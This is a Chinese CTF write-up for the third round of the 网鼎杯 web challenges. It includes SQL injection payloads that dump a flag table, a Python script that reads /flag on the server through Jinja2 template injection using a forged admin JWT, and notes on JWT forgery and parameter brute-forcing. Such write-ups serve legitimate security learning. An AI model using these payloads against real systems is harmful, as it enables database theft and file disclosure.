美文网首页CTF Re&&Pwn
[网鼎杯] 第三场web writeup

[网鼎杯] 第三场web writeup

作者: ckj123 | 来源:发表于2018-08-28 22:15 被阅读29次

    网鼎杯 第三场 web

    拿了hs给我的账号
    开始赛后做题之旅,没有多个人做题的限制
    真的是赛后做题似神仙

    phone

    -w1273-w1273
    噗一样的框架,不过可以注册了,先注册为敬

    我猜他的后台的sql语句应该是
    select count(*) from users where phone = 我的phone
    二次注入
    把phone弄成别的试一试
    16进制试一下
    0x3127206f7220313d3123 ==> 1' or 1=1#
    登录进去
    再注册一个如果变成三个就说明成功了

    成功了哈哈哈哈哈,而且没有任何过滤的样子,而且也确定了他不是用group by的

    拿mysql测试了一下这样就可以了

    所以只要构造 1' union select database() limit 1 offset 1#
    因为自己肯定存在一个自己的电话号码,所以要offset 1

    当然也可以用order by 1 desc
    接下来就是常规套路,拿表和字段了
    1' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()) limit 1 offset 1#

    1' union select (select group_concat(column_name) from information_schema.columns where table_name='flag') limit 1 offset 1#
    只要select fl4g from flag 就可以了
    1' union select f14g from flag limit 1 offset 1#
    没有任何过滤真的太棒了

    mmmmy

    这道题只要两个人做出来太恐怖了。。打开wp学习



    -w733-w733

    密码是 6a423
    那就可以伪造一个admin用户登陆进去了


    -w1045-w1045
    成功了@@
    可以使用留言功能了

    看wp说是模板注入,而且这是一题python的模板注入=。=,我还没试过,学习一下
    SSTI
    先放脚本

    import requests,sys
    url = "http://cf43c17a16c94defa99a7a1703fb529e10b9604316cc4e58.game.ichunqiu.com/bbs"
    cookie = {
        "token" : "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.IXEkNe82X4vypUsNeRFbhbXU4KE4winxIhrPiWpOP30"
    }
    chars = "}-{0123456789abcdefghijklmnopqrstuvwxyz"
    flag = ''
    for i in range(0,50):
        for j in range(0,len(chars)):
            data = {
                "text" : "{%% if request.values.e[%d] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[%d]%%}getflag{%%endif%%}" % (j,i),
                "a" : "__class__",
                "b" : "__base__",
                "c" : "__subclasses__",
                "d" : "/flag",
                "e" : chars
            }
            r = requests.post(url=url,data=data,cookies=cookie)
            if 'getflag' in r.text:
                flag += chars[j]
                sys.stdout.write("[+] "+ flag + '\r')
                sys.stdout.flush()
                if chars[j] == '}':
                    print(flag)
                    exit()
                else:
                    break
    print(len(r.text))
    
    

    i_am_admin


    那就登录试试



    好像不能注册,而且只有一个账号就是test,test


    -w1280-w1280
    给了一堆乱七八糟的
    在抓包的地方看到一个身份验证用的auth他有两个点正好是JWT的格式
    -w397-w397

    结合他需要一个秘钥所以下面那个正好是秘钥,然后生成一个admin的auth


    gold

    这道题莫名其妙=。=
    但是看到post数据是有一个参数叫getgold
    先输入1000



    那就看下他的要求是多少吧,就假设我们是从一个金币吃起的使用bp的intruder模块
    从1跑到100000,总有一个是的
    跑不出=。=但是看了就是这样跑出来的不明白=。=

    comein

    这题进不去=。=
    还好hs在群里发了源码



    还看到了hs给的payload和原理


    相关文章

      网友评论

        本文标题:[网鼎杯] 第三场web writeup

        本文链接:https://www.haomeiwen.com/subject/iqdcwftx.html